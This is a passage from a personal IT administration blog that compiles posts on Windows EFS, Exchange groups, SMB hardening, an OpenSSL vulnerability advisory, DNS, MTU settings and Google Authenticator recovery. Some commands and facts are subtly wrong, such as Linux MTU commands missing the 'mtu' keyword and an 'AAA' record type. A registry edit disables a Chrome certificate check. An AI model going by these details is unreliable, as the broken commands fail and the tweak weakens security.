kullanıcıların EFS kullanmadan önce doğru bir şekilde yapılandırılması ve kullanıcıların EFS hakkında bilgi sahibi olması gerekmektedir. Ayrıca, kullanıcıların şifreleme anahtarlarının ve sertifikalarının güvenli bir şekilde saklanması önemlidir. Sonuç olarak, EFS Windows işletim sistemi kullanıcıları için güvenli bir dosya şifreleme sistemi sunar. Kullanıcılar, dosyalarını şifreleyerek gizliliğini koruyabilir ve yalnızca kendilerinin dosyalara erişmesini sağlayabilirler. Ancak, doğru yapılandırma ve yönetim gereklidir ve kullanıcıların şifreleme anahtarlarının ve sertifikalarının güvenli bir şekilde saklanması önemlidir. Temel EFS özellikleri: EFS (Encrypting File System), Windows işletim sistemi tarafından sunulan bir dosya şifreleme sistemi olup, kullanıcılara dosyalarını şifreleme ve gizliliklerini koruma olanağı sunar. EFS'in temel özellikleri şunlardır: Dosya düzeyinde şifreleme: EFS, dosya düzeyinde şifreleme yaparak yalnızca belirli dosyaların şifrelenmesini sağlar. Bu özelliği sayesinde, kullanıcılar özel ve hassas verilerini seçerek şifreleyebilirler. Şifreleme anahtarları: EFS, dosyaları şifrelemek için kullanılan bir anahtar kullanır. Kullanıcıların şifreleme anahtarları, kullanıcı hesaplarının özel bölümünde saklanır. Bu, kullanıcıların dosyalara erişim yetkisi olmadan önce kimliklerini doğrulamalarını sağlar. Yönetim: EFS, dosya ve klasör şifrelemesi için bir yönetim aracı sağlar. Yöneticiler, EFS'i kullanarak kullanıcıların dosyalarını şifreleyebilir ve yönetebilirler. Bu özellik, kurumsal ortamlarda özellikle faydalıdır. Esneklik: EFS, kullanıcıların dosyalarını şifrelemelerine izin verirken, diğer kullanıcıların bu dosyalara erişmesini engellemez. Kullanıcılar, dosyaları seçerek şifreleyebilir ve diğer kullanıcılara erişim yetkisi verebilirler. Yedekleme ve Kurtarma: EFS, dosya şifrelemesini gerçekleştirirken, kullanıcıların dosyalarının kaybolmasını önleyen bir yedekleme ve kurtarma özelliği sunar. Bu özellik sayesinde, kullanıcılar dosyalarını kaybetmeleri durumunda bile kurtarabilirler. Güvenlik: EFS, dosyaları şifrelemek için RSA sertifikalarını kullanır. Bu sertifikalar, kullanıcının kimliğini doğrular ve şifreleme anahtarlarına erişim sağlar. Bu özellik, EFS'in güvenli bir dosya şifreleme sistemi olmasını sağlar. EFS, Windows işletim sistemi tarafından sunulan bir dosya şifreleme sistemi olup, kullanıcılara dosyalarını güvenli bir şekilde saklama ve paylaşma olanağı sağlar. EFS'in temel özellikleri arasında dosya düzeyinde şifreleme, şifreleme anahtarları, yönetim aracı, esneklik, yedekleme ve kurtarma, ve güvenlik yer alır. O vakit başlayalım, Win+Çalıştır : certmgr.msc yazarak sertifika yönetim paneline giriş yapalım. Bu panel üzerinde Personel> Certificates kısmında eğer daha önce EFS işlemi gerçekleştirmediyseniz burada herhangi bir sertifika görmemeniz gerekir. (bende ek olarak Adobe güvenlik sertfikaları mevcut) EFS' i test etmek için şirket bilgilerimin bulunduğu bir klasörü meraklı kişilerden korumak için şifreleyeceğim. İşlem sonunda EFS ile şifrelenen klasörün üzerinde bir kilit simgesi göreceksiniz. Eğer Domain ortamında bir Client makinesi üzerinde bu işlemi gerçekleştiriyorsanız şifreleme için kullanılan sertfikanız Domain Controller üzerinde tutulacaktır.(bu dosyaya sektörde "maymuncuk" diye de tabir edilir.) Kullanıcı adımıza özel oluşan sertifika: Şimdi tekrar Personel>Certificates alanına dönelim gördüğünüz gibi burada kullanıcı adımız ile bir sertifika oluşmuş durumdadır. bu sertfikanın kesinlikle bir yedeğini almanıza gerektiğini unutmayın!!! Eğer bu serfikanın olmadığı bir makinede bu dosyayı açmaya çalışırsanız(administrator dahil) hiçbir şekilde açamazsınız!! İlk defa bir dosya şifrelendiğinde, kullanıcı hesabına özel bir sertifika oluşturulur ve bu sertifikaya ait bir anahtar çifti oluşturulur. Bu anahtar çifti, dosyaların şifrelenmesi ve çözülmesi için kullanılır. Özel anahtarın güvenliğinin korunması önemlidir çünkü bu anahtarın kaybolması, kullanıcının şifrelenmiş dosyalara erişimini kaybetmesine neden olabilir. EFS'in dosya ve klasör şifreleme özelliği sayesinde, şifrelenmiş bir dosya ya da dizin, sadece geçerli sertifikaya sahip olan hesaplar tarafından erişilebilir. Bu nedenle, dosyaların güvenliği artar ve sadece belirli kullanıcılar tarafından erişilmesi sağlanır. Şifrelenmiş bir dosyanın artık şifreli olmaması gerektiğinde, kullanıcılar aynı işlemleri yaparak dosyanın şifresini kaldırabilirler. Bu işlem, dosyanın eski haline dönmesini sağlar ve kullanıcılar tarafından tekrar erişilebilir hale gelir. Sertfikanın yedeklenmesi ve yedekten geri yüklenmesi: (farklı bir makine dahil) Sertfikanın yedeklenmesi: {Ver} Yedekten geri yüklenmesi: {Al} Saygılarımla. --- ## Exchange Dağıtım Grupları nelerdir? Link: https://farukguler.com/posts/distribution-groups/ Distribution Groups Nedir ? - What are Distribution Groups? Exchange Server'da oluşturulan dağıtım grupları, e-postaların birden fazla kişiye ulaşmasını sağlamak için kullanılır. Distribution Groups ve Dynamic Distribution Groups olmak üzere iki tür dağıtım grubu vardır. Distribution Groups: Normal bir dağıtım grubudur ve üyeleri ve grup yöneticilerini belirleyebilirsiniz. Gruba üye olan kişiler, siz çıkarmadıkça gruptan çıkamazlar ve gruba girmezler. Bu grubun yetkisi tamamen size aittir. Dynamic Distribution Groups: İçindeki kullanıcılar, verdiğiniz tanımlara göre değişebilir. Bu tanımları kurallar ile oluşturabilirsiniz. Örneğin, "Bilgi Sistemleri" departmanında çalışanlar ya da "İstanbul" ilinde olanlar gibi. Bu gruptaki üyeler, belirlenen kurallara uygun olan kullanıcılardan otomatik olarak seçilir. Örneğin, bir firma içinde "Bilgi Sistemleri" departmanı var ve departmanda çalışanların Active Directory'deki departman kısmında "Bilgi Sistemleri" yazıyor. Distribution Group oluşturup bu gruba kullanıcıları eklerseniz, personel başka bir departmana geçse bile hala bu dağıtım grubundan e-posta alır. Ancak, Dynamic Distribution Group oluşturup departman kısmında "Bilgi Sistemleri" yazan kullanıcılar kurallarına dayalı olarak belirlerseniz, sadece bu kullanıcılar gruba dahil edilir. Departman değiştiğinde, bu kullanıcılar otomatik olarak gruptan çıkarılır ve yeni departmanın kriterlerine uygun olanlar gruba eklenir. --- ## SMB v.1, 2, 3 Security Fix and Manage Link: https://farukguler.com/posts/smb-v-1-2-3-security-fix-and-manage/ SMB (Server Message Block) is a communication protocol used for file sharing, printer sharing and other resources sharing on the network. SMB1 is an older version of this protocol and is generally not recommended because it contains security vulnerabilities. Microsoft and other security experts recommend discontinuing the use of SMB1 and disabling it if possible. Because SMB1 has known security vulnerabilities and modern SMB versions (SMB2 and SMB3) are more secure. This is often a consideration for network security or management policies. Continuing to use SMB1 may increase potential security risks. So, the recommended step is to disable SMB1 and switch to modern SMB versions. Server: Server 2012 R2 and 2016 and laterDetect:Get-SmbServerConfiguration | select EnableSMB1Protocol,EnableSMB2Protocol,EnableSMB3ProtocolSMBv1 Protocol Set:#Set-SmbServerConfiguration -EnableSMB1Protocol $false#Set-SmbServerConfiguration -EnableSMB1Protocol $trueSMB v2/v3 Protocol Set:#Set-SmbServerConfiguration -EnableSMB2Protocol $false#Set-SmbServerConfiguration -EnableSMB2Protocol $trueClient:Windows 8.1 and Windows 10 and laterSMB v1 Protocol Detect/Set:Detect:Get-WindowsOptionalFeature –Online –FeatureName SMB1Protocol#Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol#Enable-WindowsOptionalFeature -Online -FeatureName SMB1ProtocolSMB v2/v3 Protocol Detect/Set:Detect:Get-SmbServerConfiguration | Select EnableSMB2Protocol#Set-SmbServerConfiguration –EnableSMB2Protocol $false#Set-SmbServerConfiguration –EnableSMB2Protocol $true --- ## OpenSSL v3 İçin Yüksek Zafiyet Uyarısı Link: https://farukguler.com/posts/vulnerability-for-openssl-v3/ KONU: OpenSSL, 2 adet Yeni Yüksek Güvenlik Zafiyeti Resmi danışma belgesinde yayınlanan (2) iki güvenlik açığı hakkında özet: CVE-2022-3602 – TLS (X.509) sertifikaları doğrulanırken tetiklenebilen 4 baytlık yığın arabellek taşması, CVE-2022-3602, çökmelere veya uzaktan kod yürütülmesine (RCE) neden olmak için kullanılabilir. CVE-2022-3786 – TLS (X.509) sertifikaları doğrulanırken tetiklenebilen, ancak saldırganın taşan verileri kontrol etmesine izin vermeyen, rastgele uzunlukta bir yığın arabellek taşması, CVE-2022-3786, hizmet reddi durumunu tetiklemek için kötü niyetli e-posta adresleri aracılığıyla tehdit aktörleri tarafından kullanılabilir. OpenSSL, güvenliği arttırmayı amaçlayan, açık kaynak kodlu, SSL ve TLS protokolleri kullanan bir yazılım kütüphanesidir. Genellikle ağ uygulamaları ve sunucular oluşturmak için kullanılmaktadır. TLS (Taşıma Katmanı Güvenliği) ve SSL (Güvenli Yuva Katmanı) protokollerini uygulamak için bir araç setidir. Bu SSLeay lisansı ve OpenSSL lisansı altında ücretsiz(açık kaynak) olarak sağlanmaktadır. 1995-1998 yılları arasında Eric A. Young ve Tim J. tarafından geliştirilmiştir. Linux, Windows ve Unix işlem sistemlerinde çalışmaktadır. OpenSSL yazılım dili C ve C++ ‘dır. OpenSSL genel olarak sertifika oluşturmaya bu sertifikaları imzalamaya ve dağıtmaya yaramaktadır. Bu oluşturulan sertifika amacına göre ilgili cihazlarda kullanılabilir. OpenSSL farklı dillerde kullanabilmek için aracı programlar bulunmakta ve kullanılmaktadır. Kimler bu Zafiyetten Etkileniyor?       ProductVuln StatusAlpine linux Edge (geliştirme dalı) yesCentOS Stream 9 (geliştirme dalı) yesFedora 36 yesNode.js 17.x 18.x 19.x yesMacOS Ventura yesVMware Harbor <=2.6.1 yesVMware VMware Tools 12.0.0 , 12.1.0 yesKali 2022.3 yesDockerhub ubuntu latest 3.0.2 yesLinux Mint 21 yesRed Hat Enterprise Linux 9 yesUbuntu 22.04 LTS yesDockerhub centos latest 3.x yesUbuntu Squid 3.0.5 5VulnerableDockerhub tomcat latest 3.0.2 yesAmazon Linux 2 and 2022 yesAlmaLinux 9FixSymantec Endpoint Protection Manager 14.3 RU5 3.0.2 yesCentOS 9FixOpenSUSE OpenSUSE tumbleweed yesNetApp Clustered Data ONTAP All yescurl for Windows 7.79.0 - 7.86.0 yesDockerhub Mariadb latest version yesKeePassXC (Windows) 2.7.4 yesSUSE Manager Server 4.3 yesRed Hat Enterprise Linux 8 , 9Fix***Ayrıca, geliştiricileriniz C/C++ kullanıyorsa, kodlarında OpenSSL v3 paketleri kullanıyor olabilirler. İlgili OpenSSL paketlerini kontrol etmelisiniz. İyi haber şu ki, OpenSSL örneklerine baktığımızda etkilenen sürümlerin ortalaması yalnızca %1,5 civarındadır. Daha eski etkilenmemiş sürümlerin oranı ise %98,5'tir. Bu düşük yaygınlık, Linux dağıtım belgelerinin hızlı bir incelemesiyle açıklanabilir: yalnızca Ubuntu 22 ve RHEL 9 gibi daha yeni sürümler, paket bildirimlerinde OpenSSL 3'ü içerir. Zafiyetin Global dağılımı: Kaynak: https://netlas.io Önemli Ana Bilgilendirmeler: (CVE-2022-3602) Önem Derecesi: Yüksek Bu sorun, 17 Ekim 2022'de Polar Bear tarafından OpenSSL'ye bildirildi. Düzeltmeler Dr Paul Dale tarafından geliştirildi. OpenSSL 3.0.0 ila 3.0.6 sürümleri bu soruna karşı savunmasızdır. OpenSSL 3.0 kullanıcıları OpenSSL 3.0.7'ye yükseltme yapmalıdır. OpenSSL 1.1.1 ve 1.0.2 bu sorundan etkilenmez. Şimdiye kadar bu sorunun istismar edildiğine dair hiçbir kanıtımız yok. (Open SSL) 1 Kasım 2022 Gerekli kontroller sonrası 1 Kasım 2022'de CVE düzeyi KRİTİK’ten YÜKSEK’e düşürüldü. Önemli Ana Bilgilendirmeler: (CVE-2022-3786) Önem Derecesi: Yüksek OpenSSL 3.0.0 ila 3.0.6 sürümleri bu soruna karşı savunmasızdır. OpenSSL 3.0 kullanıcıları OpenSSL 3.0.7'ye yükseltme yapmalıdır. OpenSSL 1.1.1 ve 1.0.2 bu sorundan etkilenmez. Bu sorun 18 Ekim 2022'de Viktor Dukhovni tarafından keşfedildi. Viktor Dukhovni  aynı zamanda CVE-2022-3602'yi araştırıyor. Düzeltmeler Dr Paul Dale tarafından geliştirildi. Şimdiye kadar bu sorunun istismar edildiğine dair hiçbir kanıtımız yok. (Open SSL) 1 Kasım 2022 Bu Güvenlik Danışma Belgesinin orijinal URL'si: https://www.openssl.org/news/secadv/20221101.txt OpenSSL önem sınıflandırmalarının ayrıntıları için lütfen bakınız: https://www.openssl.org/policies/secpolicy.html (CERT) OpenSSL nin savunmasız bir sürümüyle paketlenmiş yaygın işletim sistemlerinin ve uygulama çalışma zamanlarının bir listesini yayınladı. https://github.com/NCSC-NL/OpenSSL-2022/blob/main/software/README.md Zaafiyeti Sistemlerinizde kontrol edebilmeniz için bazı toollar: https://github.com/NCSC-NL/OpenSSL-2022 (Operasyonel bilgiler içerir.) https://github.com/alicangnll/SpookySSL-Scanner (SSLv3 Scanner for Windows, Linux, macOS) Haberler: Türkiye https://forum.shiftdelete.net/konular/openssl-2-yeni-kritik-guvenlik-zafiyeti-icin-yama-yayinladi.797728 USOM TR-22-0673 (OpenSSL Güvenlik Güncellemesi) bildirimi yayınladı. https://www.usom.gov.tr/bildirim/tr-22-0673 GLOBAL https://snyk.io/blog/new-openssl-critical-vulnerability https://jfrog. com/blog/cve-2022-3602-and-cve-2022-3786-high-severity-openssl-vulnerabilities-finally-published https://about.gitlab.com/blog/2022/11/01/new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them Öneriler - Hafifletme Hem CVE-2022-3602 hem de CVE-2022-3786 için önerilen temel düzeltme, OpenSSL'yi acilen 3.0.7 sürümüne yükseltmektir. Ubuntu 22.04 kullanıcıları “openssl” paketini 3.0.2-0ubuntu1.7 sürümüne yükseltebilir. Red Hat Enterprise Linux 9 kullanıcıları, “openssl” paketini openssl-3.0.1-43.el9_0 sürümüne yükseltebilir. vb. Umarım yararlı olmuştur. – I hope it was helpful --- ## Active Directory in Depth Cheat Sheet -Live Link: https://farukguler.com/posts/active-directory-in-depth-cheat-sheet-live/ What is Forest?It is the highest level management unit in the Active Directory (AD) structure, formed by the logical combination of multiple domains. Forest contains all domains and inter-domain relationships in AD.It must contain at least 1 domain. Forest, Domain, Child Domain, Site, RODC, GC, Schema, FSMO, DSRM, LDAP Domain Functional Level and Forest Functional Level: +Upgrade: Forest Functional Level (FFL): Determines the operating system-based version of the Domain Controllers in all your Domain Controller servers in your Forest structure.Domain Functional Level (DFL): Determines the operating system version of all Domain Controller servers within your domain structure on a Domain Controller basis.> Domain > Properties> Active Directory Domains and Trusts > Raise FLDFL and FFL Levels:Windows 2000 Native-----Windows Server 2012 R2Windows Server 2016Windows Server 2019-----Important Notes:- In order to use new features, both DFL and FFL levels must be at the appropriate level.- Each DFL and FFL level offers new features and improvements compared to previous levels.- FFL and DFL levels cannot be lowered after they have been raised. Active Directory DNS: - AD cannot be established and managed without DNS.- AD can be set up with an additional DNS.- AD Data of integrated zones are kept in the AD Database.- Active Directory Domains and Trusts: Active Directory Sites and Services: Active Directory Trust Relationships: Domain Controller +Migration, +Backup & Restore, +Remove: - Backup & Restore: Recycle Bin, System State, 3rd Party Group Policy Management: About LDAP: LDAP Ports:Port 389: (LDAP)Port 636: (LDAPS) Stay hungry to learn. .\Faruk GÜLER --- ## DNS and DNS Query Types Link: https://farukguler.com/posts/dns-sorgu-turleri/ What is DNS? (Domain Name System) It is a global name resolution protocol used for TCP/IP networks. DNS servers resolve URL (Uniform Resource Locator) or FQDN (Fully Qualified Domain Name) addresses to IPs, allowing easier server (host) names to be used instead of hard-to-remember IP addresses. DNS Structure: FQDN: The full name of the client in the domain. Example: "mail.guler.com" Machines within a domain use a hierarchical name structure to avoid name conflicts. The DNS database is in a tree structure with the "root" servers at the top. Each subdomain is a domain, and each part that leaves these domains is called a subdomain. Root Servers: They are located at the top of the DNS system and are where the server name-ip conversion begins. They direct incoming requests to TLD (Top Level Domain) servers. There are 13 root servers in the world. TLD Servers: This is where the task distribution is made first. It consists of gTLD (generic TLD-generic TLD) and ccTLD (country code TLD-country code TLD). Major TLD Examples:  .comCommercial Organizations.trTurkey.netNetwork Organizations.fr France.orgNon-Commercial Organizations.deGermany.milMilitary Institutions.brBrazil.eduEducational institutions.itItaly.govGovernment Institutions.trTurkey.intInternational Institutions.usAmerica.infoInformation Services.caCanada.nameIndividual Use.ruRussia.telInternet, Communication Services.esSpain.travel Travel and Holiday Sector.travel-.proFor professional workers.pro-.tvFor video projects and online television.tv-.aeroUses by the aerospace industry..aero-.museumUsed for museums..museum-.ioIt is mainly used by technology-related companies..io-etc.. Second Level Domain Servers: Domain names of different lengths given to individuals or institutions. Example: "adobe.com" etc. Subdomains: Additional domains generated from second-level domains in order to expand the DNS tree and divide it into sections at any time. Authorization: For the purpose of providing ease of management, the domains in the DNS system are divided into sub-domains and their management is given to different institutions. In this way, the management, protection and responsibility of all data in that sub-domain are transferred to that institution. DNS Zone Structure: The domain managed by a DNS server is called a "zone". It contains data such as computer names, RR (resource records), FQDN. Field Types Forward Lookup Zone: It is called the area that performs IP resolution from the name. Primary Zone: It is the only type of field that cannot be managed by any other DNS server other than the master DNS server, which keeps all records on it and has the right to write to the DNS database. Also known as the admin area.Secondary Zone: It is a type of area that does not have the right to write to the DNS database, and works with the principle of reading only what the primary domain writes. It takes data copies from the primary domain on another DNS server at certain time intervals and works as a backup of it.Residue Area (Stub Zone): It is a type of area that keeps NS (Name Server-Name server), SOA (Start Of Authority-Start Of Authority) and A (Address Record-Address Record) records and does not have any authority on it. It works on the principle that other domains make NS records on their own without querying the responsible DNS server. Reverse Lookup Zone: In contrast to the forward lookup zone, it performs name resolution from IP. Major DNS Record Types Host(A) (Address Record-Address Record): It is the address records in which server names and ip match are made.AAA (Address Record): It is a record designed to be used with ip V6, which performs the same function as the A record.NS (Name Server-Name server): It is the record used to identify the DNS servers in use on the network.SRV (Service Record): It is a record that enables many similar TCP/IP based servers to be found with a single DNS query.MX (Mail Exchanger): It is the record that enables the identification of mail servers in the system and their information to be known by DNS.PTR (Pointer Record): It is a record that contains the name match from the IP address and can only be used in the reverse search field.SOA (Start Of Authority): It is the first record for all domains that contains the name of the authoritative DNS server on a domain.TXT (Text-to-Text Record): A location within a text file about a particular resource, etc. record containing information.CNAME (Canonical Name): It is the record that allows the record in another DNS server to be registered to the domain with a different name. DNS Domain Transfer The process of copying the files in any domain database and keeping them by different DNS servers is called DNS Domain Transfer. Changes on domain files can only be made by administrator servers, and domain transfer can only occur with the necessary permissions on the primary DNS server. Domain transfer between primary and secondary DNS servers is done with the help of a serial number in which the version number of the database is kept. The serial number increases with each change of registration. Before each query, the secondary DNS server looks at these serial numbers and, if its serial number is less than the primary DNS server, transfers the changes through the primary server. The main purpose of DNS Domain Transfer is to continue the resolution on the network uninterrupted in case the administrator server crashes or stops. DNS system consists of name servers and resolvers. Nameservers keep information of IP addresses that match server names. Resolvers, on the other hand, are DNS clients and contain the addresses of DNS servers.DNS servers are divided into two (2) according to the domain and the authorization status in the domain: Authoritative DNS Name Server: The server responsible for all queries for a domain or domain. There are two types as Primary server (Primary/Master Server) and Secondary server (Secondary/Slave Server).Non-Authoritative DNS Name Caching Server (Non-Authoritative DNS Name Caching Server): It is a server that is not authorized for a domain or domain, only takes the data from the first query and stores it in the cache for TTL (Time To Live). This saves time and does not affect bandwidth traffic. DNS Types: 3 DNS Query Types There are three types of queries in the DNS system: Recursive QueryThis request that can be made to a DNS Server is as follows: A user in our environment sends a Recursive Query to the DNS Server in his Local. DNS receives this request and checks the information in the Forward Lookup Zone and Cache. The found information is sent back to the Client. If no answer is found, it searches for an answer through Root Hints and Forwarder Addresses and tries to return it. However, if it is not found at the end of all efforts, not found information is returned to the Client. Non-Recursive QueryA non-recursive query is a query in which the DNS Resolver already knows the answer. It either immediately returns a DNS record because it already stores it in local cache, or queries a DNS Name Server which is authoritative for the record, meaning it definitely holds the correct IP for that hostname. In both cases, there is no need for additional rounds of queries (like in recursive or iterative queries). Rather, a response is immediately returned to the client. Iterative QueryIf a local DNS Server does not receive a response regarding the request, that DNS Server finds the results by referring to other DNS and returns them to the Clients. DNS Structures According to Usage Patterns Caching-Only Name Server: It is the DNS structure on which only the DNS server is installed, there is no field structure, and the name resolution is done through a file that is kept in the cache and updated at certain intervals. The period in which the name-IP matches are to be kept in the cache is determined is called TTL. The default value for this time is 60min. Forwarder:It is the name given to the process of asking another DNS Server to resolve the Domain names that the DNS Server does not keep on itself. Thanks to this feature, Root Hints will not be used for every name that cannot be resolved. Conditional Forwarding:If you know in which DNS Server a Domain is registered, Local or your system is the system that allows people who query that domain to go to the specified DNS directly by passing the Root Hints. Umarım yararlı olmuştur. - I hope it was helpful --- ## MTU değerini nasıl değiştirirsiniz? Link: https://farukguler.com/posts/isletim-sistemlerinde-mtu/ MTU (Maximum Transmission Unit) ağ iletişiminde kullanılan bir terimdir ve bir veri paketinin taşıyabileceği en büyük veri miktarını belirtir. MTU değeri, bir ağ arayüzü tarafından gönderilebilecek en büyük veri boyutunu belirler. Bu nedenle, ağdaki diğer cihazlar ile iletişimde kullanılan MTU değerleri uyumlu olmalıdır. Windows işletim sistemlerinde, MTU değeri varsayılan olarak 1500'dür. Bu değer, Ethernet ve Wi-Fi gibi geniş bant ağ bağlantılarında kullanılır. Ancak, bazı durumlarda, özellikle VPN veya DSL bağlantıları gibi daha yavaş bağlantılar için bu değer optimize edilmelidir. MTU değeri, Windows'ta "netsh" komutu kullanılarak değiştirilebilir. Öte yandan, Linux işletim sistemleri için MTU değeri farklı şekilde yönetilir. Linux, farklı ağ arayüzleri için farklı MTU değerleri atayabilir. MTU değeri, "ifconfig" komutu kullanılarak görüntülenebilir ve değiştirilebilir. Linux'ta, MTU ayarlamaları ayrıca "ip" komutu ile de yapılabilmektedir. "ip link" komutu kullanılarak ağ arayüzleri listelenebilir ve "ip link set" komutu kullanılarak MTU ayarlamaları yapılabilir. MTU ayarları genellikle ağ performansını artırmak veya sorunları çözmek için yapılmaktadır. Ancak, uygun olmayan MTU ayarları ağ performansını olumsuz yönde etkileyebilir veya hatta bağlantı kesintilerine neden olabilir. Windows Sistemlerde MTU Ayarı: Windows Sistemlerde MTU: PowerShell: netsh interface ipv4 show interfaces netsh interface ipv4 show subinterfaces netsh interface ipv4 set subinterface "Ethernet" mtu=1458 store=persistent Ubuntu #Ubuntu shell ifconfig | grep mtu ifconfig eth0 ifconfig dev mtu 9000 Rhel7 #Rhel7 shell ip link show dev eth0 ip link set dev eth0 9000 CentOS7 #CentOS7 shell ifconfig eth0 ip link show dev eth0 ip link set mtu 9000 dev eth0 #bu değişikliğin sunucu her yeniden başlatıldığında devam etmesi için; /etc/sysconfig/network-scripts/ifcfg-eth0 dosyasına bir “MTU=” değer satırı ekleyin. MTU=9000 VMware Esxi VMware vSphere Interface 1:VMware vSphere istemcisiyle ana bilgisayarda oturum açın. 2:Yapılandırma sekmesini açın. 3:Donanım altında Ağ seçeneğini seçin. 4:Yapılandırılacak vSwitch üzerinden özellikleri seçin. 5:Gelişmiş altında MTU seti görünür hale gelecektir. Varsayılan değer 1500'dür. 6:vSwitch seçiliyken alttan Düzenle'ye tıklayın. 7:Genel sekmesinde Gelişmiş Özellikler etiketli bir kutuyu açın. 8:Buradaki MTU'yu 1500'den 9000'e değiştirin ve Tamam'a tıklayın. 9:Ayrıca VMK (VM çekirdeği) için MTU'yu değiştirin. 10:Aynı vSwitch Properties kutusunda listelenen ilk VMK'yi seçin. 11:MAC adresi ve MTU, NIC Ayarları altında listelenir. 12:Özellikler kutusunda, Genel sekmesindeki NIC ayarlarından MTU'yu 9000 olarak ayarlayın. 13:Bunu sanal anahtar altındaki tüm VMK'ler için tekrarlayın. 14:vSwitch özellikleri iletişim kutusunu kapatın diğer vSwitch'ler için tekrarlayın. Saygılarımla. --- ## ERR_SSL_KEY_USAGE_INCOMPATIBLE Link: https://farukguler.com/posts/err_ssl_key_usage_incompatible/ REG: Add Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome]"RSAKeyUsageForLocalAnchorsEnabled"=dword:00000000 --- ## YouTube'da size bir şeyler katacağını düşündüğüm kanallar Link: https://farukguler.com/posts/youtube-kanallar/ YouTube: Ayhan Tarakcı https://www.youtube.com/c/Donan%C4%B1mc%C4%B1Baba/videos Evrim Ağacı https://www.youtube.com/c/evrimagaci/videos Barış Özcan https://www.youtube.com/c/BarisOzcan/videos Çılgın Fizikçiler <a href="https://www.youtube.com/c/cilginfizikcilervebiliminsanlariOfficial/videos Bebar Bilim https://www.youtube.com/c/bebarbilim/videos PopularScienceTR https://www.youtube.com/user/PopularScienceTR/videos Ruhi Çenet Medya https://www.youtube.com/c/Ruhi%C3%87enetMedya Faruk Yılmaz https://www.youtube.com/c/dexpanted41/videos Yusuf Kayaalp https://www.youtube.com/c/YusufKayaalp/videos Anime Tarih https://www.youtube.com/c/AnimeTarih/videos TUNCER - Gizem Avcısı https://www.youtube.com/c/TUNCERMEREZ/videos Mehmet D. INCE https://www.youtube.com/c/MehmetDursunInce/videos Can Değer https://www.youtube.com/c/CanDeger/videos Saygılarımla. – Best regards. --- ## Google Authenticator Hesap Kurtarma Link: https://farukguler.com/posts/google-authenticator-hesap-kurtarma/ Google Authenticator hesabı kurtarma konusunda birkaç önlem alınabilir. Öncelikle, 2 Adımlı Doğrulama ile korunan bir hesap için yedek bir güvenlik anahtarı oluşturmak çok önemlidir. Kullanıcılar, hesapları için birden fazla güvenlik anahtarı kaydetmeli ve bunları güvenli bir yerde saklamalıdır. Böylece, herhangi bir güvenlik anahtarı kaybedildiğinde yedek güvenlik anahtarı ile hesaplara kolayca ulaşılabilir. Bu kodları yazdırarak dijital ortam dışında da saklamak da bir diğer seçenek olabilir. Ayrıca, bir yönetici hesabına sahipseniz, hesabı kilitlenmiş bir kullanıcının yedek kodları yoksa bu kullanıcı için kod oluşturabilirsiniz. Bu kodları oluşturmak için "Google Yönetici Konsolu" üzerinden "Kullanıcı hesabı" bölümüne girerek bu kodlar oluşturulabilir. Benzer şekilde, bir yönetici eğer kendi hesabında oturum açamıyorsa, başka bir yönetici bu yönetici için yedek kod oluşturabilir. Hesap kurtarma konusunda, Google Yönetici Konsolu hesabınıza giriş yaparak, Kullanıcılar'a giderek istediğiniz kullanıcıyı seçebilirsiniz. Kullanıcının hesap ayarlarına erişmek için Güvenlik'i tıklamanız gerekmektedir. Yedek Doğrulama Kodlarını Al seçeneğini tıklayarak doğrulama kodlarından birini kopyalayabilirsiniz. Yedek kodu, bir anlık mesaj veya kısa mesajla kullanıcıya göndererek hesap kurtarmasına yardımcı olabilirsiniz. Tüm bu önlemler, Google Authenticator hesabı kurtarma konusunda önemli bir rol oynayabilir. Ancak, unutulmamalıdır ki Google, hesap güvenliği konusunda herhangi bir kayıp ya da hasarın sorumluluğunu üstlenmemektedir. Bu nedenle, hesap sahiplerinin bu önlemleri almaları önemlidir. Saygılarımla. --- ## Uniswap (UNI) Nedir? Merkeziyetsiz Finansın (DeFi) Temel Taşı Link: https://farukguler.com/posts/uniswap-uni-nedir/ Uniswap (UNI), bir şirket veya geleneksel bir borsa (Binance veya BIST gibi) değildir. O, Ethereum blockchain’i üzerinde çalışan, tamamen merkeziyetsiz bir borsa (DEX) protokolüdür. Uniswap’ın misyonu, herhangi bir aracıya, “listeleme” iznine veya kimlik doğrulamasına (KYC) ihtiyaç duymadan, herkesin herhangi bir Ethereum (ERC-20) token’ını bir diğeriyle takas etmesine (swap) olanak tanımaktır. Protokolün devrim niteliğinde olmasının nedeni, “emir defterli” (order book) sistemi terk edip, “Otomatik Piyasa Yapıcı” (Automated Market Maker - AMM) adı verilen bir modeli icat etmesidir. UNI, bu protokolün yerel (native) yönetişim (governance) token’ıdır ve sahiplerine protokolün geleceğinde söz hakkı verir. “Borsa Problemi” ve Uniswap’in Çözümü Geleneksel borsalar (hem kripto hem de hisse senedi) iki temel sorunla boğuşur: Merkeziyet ve Saklama (Custody): Varlıklarınızı (coin veya hisse) alıp satmak için borsanın “cüzdanına” yatırmanız gerekir. Borsa hack’lenirse, iflas ederse veya hesabınızı dondurursa, tüm paranızı kaybedersiniz. (Örn: FTX, Mt. Gox). Emir Defteri (Order Book) ve Likidite: Alım-satım, alıcıların (örn. 100 TL’den 10 adet) ve satıcıların (örn. 101 TL’den 5 adet) emirlerinin eşleşmesine dayanır. Yeni veya az bilinen bir varlık için yeterli alıcı/satıcı (piyasa yapıcı) yoksa, o varlık alınıp satılamaz (likit değildir). Uniswap’in AMM Çözümü: Uniswap, alıcı ve satıcıları eşleştirmek yerine, “Likidite Havuzları” adı verilen devasa dijital varlık havuzları yaratır. Likidite Havuzu Nedir? Herhangi bir kullanıcı (Likidite Sağlayıcı - LP) tarafından, eşit değerde iki varlığın (örn. 1 ETH ve 3.000 USDC) kilitlendiği bir akıllı sözleşmedir. Nasıl Çalışır? Bir kullanıcı ETH satıp USDC almak istediğinde, bir “satıcı” aramaz. Bunun yerine, ETH’sini ETH/USDC havuzuna atar ve havuzdan karşılığında USDC alır. Fiyat Nasıl Belirlenir? Fiyat, $x \cdot y = k$ adı verilen basit bir matematik formülüne göre otomatik olarak belirlenir. (Havuzdaki ‘x’ token’ı azalırsa, fiyatı ‘y’ token’ına göre artar). Bu sistem, en bilinmeyen token için bile, havuzda likidite olduğu sürece her zaman bir alım/satım fiyatı olmasını garanti eder. Uniswap’in Ayırt Edici Özellikleri Otonom ve Değişmez (Immutable): Uniswap protokolü, bir kez Ethereum ağına yüklendikten sonra durdurulamaz, 